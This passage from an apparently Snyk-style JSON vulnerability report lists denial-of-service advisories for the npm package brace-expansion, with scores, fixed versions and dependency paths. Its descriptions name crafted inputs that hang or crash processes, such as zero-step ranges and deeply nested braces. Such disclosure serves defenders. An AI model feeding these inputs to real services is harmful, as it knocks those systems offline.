"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"init-package-json@7.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"init-package-json@7.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"init-package-json@7.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"init-package-json@7.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"init-package-json@7.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"init-package-json@7.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"init-package-json@8.2.5",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
